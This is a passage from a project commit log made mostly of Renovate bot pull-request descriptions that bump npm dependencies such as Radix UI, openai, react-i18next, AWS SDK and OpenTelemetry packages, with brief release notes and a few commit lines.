| [@radix-ui/react-toggle](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toggle/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toggle/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toggle/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toggle-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toggle-group/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toggle-group/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toggle-group/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toolbar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toolbar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toolbar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toolbar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.4` -> `1.1.5`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.4/1.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-visually-hidden](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-visually-hidden/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-visually-hidden/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-visually-hidden/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.1` -> `4.76.2`](https://renovatebot.com/diffs/npm/openai/4.76.1/4.76.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.1/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.1/4.76.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.54.0` -> `7.54.1`](https://renovatebot.com/diffs/npm/react-hook-form/7.54.0/7.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.54.0/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.54.0/7.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.4` -> `15.2.0`](https://renovatebot.com/diffs/npm/react-i18next/15.1.4/15.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.4/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.4/15.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>radix-ui/primitives (@&#8203;radix-ui/react-accordion)</summary>

### [`v1.2.2`](6b40728c55...157415ed1f)

[Compare Source](157415ed1f...3c5e05fab0)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.76.2`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4762-2024-12-12)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.76.1...v4.76.2)

Full Changelog: [v4.76.1...v4.76.2](https://redirect.github.com/openai/openai-node/compare/v4.76.1...v4.76.2)

##### Chores

-   **internal:** update isAbsoluteURL ([#&#8203;1223](https://redirect.github.com/openai/openai-node/issues/1223)) ([e908ed7](e908ed7599))
-   **types:** nicer error class types + jsdocs ([#&#8203;1219](https://redirect.github.com/openai/openai-node/issues/1219)) ([576d24c](576d24cc4b))

</details>

<details>
<summary>react-hook-form/react-hook-form (react-hook-form)</summary>

### [`v7.54.1`](https://redirect.github.com/react-hook-form/react-hook-form/compare/v7.54.0...4902d0c70ad84a2584aac511ab7e2c766d7441c3)

[Compare Source](https://redirect.github.com/react-hook-form/react-hook-form/compare/v7.54.0...v7.54.1)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.2.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1520)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.4...v15.2.0)

This version may be breaking if you still use React < v18 with TypeScript.
For JS users this version is equal to v15.1.4

-   fix: Global JSX namespace is deprecated [1823](https://redirect.github.com/i18next/react-i18next/issues/1823) with [1822](https://redirect.github.com/i18next/react-i18next/pull/1822)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 04:05:06 +00:00
Brooooooklyn
8f29a58508 ci: re-enable nx cloud (#9132) 2024-12-13 02:57:43 +00:00
forehalo
d620a525cc fix(server): allow email with dot in name 2024-12-13 10:53:49 +08:00
renovate
ef6068b7c2 chore: bump up @blocksuite/affine version to v0.18.6 (#9113)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.5` -> `0.18.6`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.5/0.18.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.5/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.5/0.18.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.6`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0186)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.5...v0.18.6)

##### Patch Changes

-   [`d925364`](https://redirect.github.com/toeverything/blocksuite/commit/d925364): Blocksuite patch release.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 02:32:40 +00:00
renovate
8eea813c7c chore: bump up all non-major dependencies (#8994)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.703.0` -> `3.709.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.703.0` -> `3.709.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.703.0/3.709.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@dnd-kit/core](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/core)) | [`6.2.0` -> `6.3.1`](https://renovatebot.com/diffs/npm/@dnd-kit%2fcore/6.2.0/6.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fcore/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fcore/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fcore/6.2.0/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fcore/6.2.0/6.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@emotion/cache](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2fcache/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fcache/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fcache/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fcache/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fcache/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@emotion/styled](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2fstyled/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fstyled/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fstyled/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fstyled/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fstyled/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.2.0` -> `9.3.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.2.0/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.2.0/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.2.0/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@node-rs/argon2](https://redirect.github.com/napi-rs/node-rs) | [`2.0.0` -> `2.0.2`](https://renovatebot.com/diffs/npm/@node-rs%2fargon2/2.0.0/2.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@node-rs/argon2](https://redirect.github.com/napi-rs/node-rs) | [`2.0.0` -> `2.0.2`](https://renovatebot.com/diffs/npm/@node-rs%2fargon2/2.0.0/2.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@node-rs/crc32](https://redirect.github.com/napi-rs/node-rs) | [`1.10.4` -> `1.10.6`](https://renovatebot.com/diffs/npm/@node-rs%2fcrc32/1.10.4/1.10.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fcrc32/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fcrc32/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fcrc32/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fcrc32/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
